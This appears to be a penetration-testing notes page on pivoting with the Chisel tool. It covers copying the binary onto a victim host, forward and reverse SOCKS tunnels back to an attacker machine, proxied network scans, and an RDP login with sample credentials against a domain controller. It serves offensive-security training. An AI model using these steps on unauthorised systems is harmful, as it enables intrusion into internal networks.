Chisel

Chisel is a TCP/UDP-based tunneling tool written in Go that uses HTTP to transport data that is secured using SSH. Chisel can create a client-server connection in a firewall restricted environment.

IMPORTANT:** We need to be mindful of the size of files we transfer onto targets, not just for performance reasons but also considering detection. Some useful links to proceed:**

Tunneling with Chisel and SSF0xdf hacks stuff

Installing Chisel

Clone Repository

attacker@kali$ git clone https://github.com/jpillora/chisel.git

Building the Chisel Binary

attacker@kali$ cd chisel
go build

Transfer Chisel Binary to Victim

Transferring Chisel Binary with SCP, A Web Server, or other methods of choice.

attacker@kali$ scp chisel [email protected]:~/home/victim

Running Chisel Server - Jump Host Server

We start a chisel server for a client to connect to.

victim@ubuntu$ ./chisel server -v -p 1234 --socks5

NOTE: This can be on jump host, kali host, or whichever host we need it for.

Chisel will listen for incoming connections on port 1234 using SOCKS5 (--socks5) and forward it to all the networks that are accessible on the pivot host.

Running Chisel Client

NOTE: we can also run the chisel server on the Kali host.

attacker@kali$ ./chisel client -v 10.129.202.64:1234 socks
2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/05/05 14:21:18 client: tun: Bound proxies
2022/05/05 14:21:19 client: Handshaking...
2022/05/05 14:21:19 client: Sending config
2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)
2022/05/05 14:21:19 client: tun: SSH connected

In the above output, the Chisel client creates a TCP/UDP tunnel via HTTP using SSH between the Chisel server and the client and starts a listener on local port 1080. Now we can modify proxychains.conf and add 1080 port so we can use it to pivot between 1080 and the tunnel.\

$ tail -f /etc/proxychains.conf 
...
# socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080

Pivoting / Attacking the DC

attacker@kali$ proxychains nmap 172.16.5.1-200 -sn -v

attacker@kali$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Chisel Reverse Pivot - Kali Server

In the previous example, we transfered a chisel binary to the compromised victim machine and started a listener on port 1234. Commonly, there will be scenarios where firewalls restrict inbound connections to our target. In such cases, we can use Chisel with the reverse tunnel option.

With the Chisel --reverse (-R) enabled, The server (attack host) will listen and accept connections and then be proxied through the client.

Starting the Chisel Server on our Attack Host

attacker@kali$ sudo ./chisel server --reverse -v -p 1234 --socks5

Then we connect from the Ubuntu (pivot host) to our attack host, using the option R:socks

Connecting the Chisel Client to our Attack Host

victim@ubuntu$ ./chisel client -v <kali-ip>:1234 R:socks

NOTE:** Chisel opens a port 1080 **that we will use.

Now we can modify proxychains.conf and add 1080 port so we can use it to pivot between 1080 and the tunnel.

$ tail -f /etc/proxychains.conf 
...
# socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080

Pivoting / Attacking the DC

attacker@kali$ proxychains nmap 172.16.5.1-200 -sn -v

attacker@kali$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Port Forwarding localhost Web Service (phpmyadmin)

If the server we popped a shell on is running phpmyadmin its work portforwarding back to our host.

.\chisel.exe client 192.168.45.170:8081 R:8090:localhost:80

Navigating to localhost:8090, we can now access the admin portal

Port Forwarding an Internal Web Service.

Sometimes we may want to port foward a direct port back to our reverse port forward. We can use the syntax: R:localport:remotehost:remoteport.

NOTE: This is useful if we want to access an internal** web service **on our local machine through 127.0.0.1

C:\Users\marcus> chisel.exe client 192.168.119.5:8080 R:80:172.16.6.241:80

2022/10/11 07:22:46 client: Connecting to ws://192.168.119.5:8080
2022/10/11 07:22:46 client: Connected (Latency 11.0449ms)

We can navigate to 127.0.0.1 and see the portforwarded web service

We may need to upate our /etc/hosts to fit the domain name.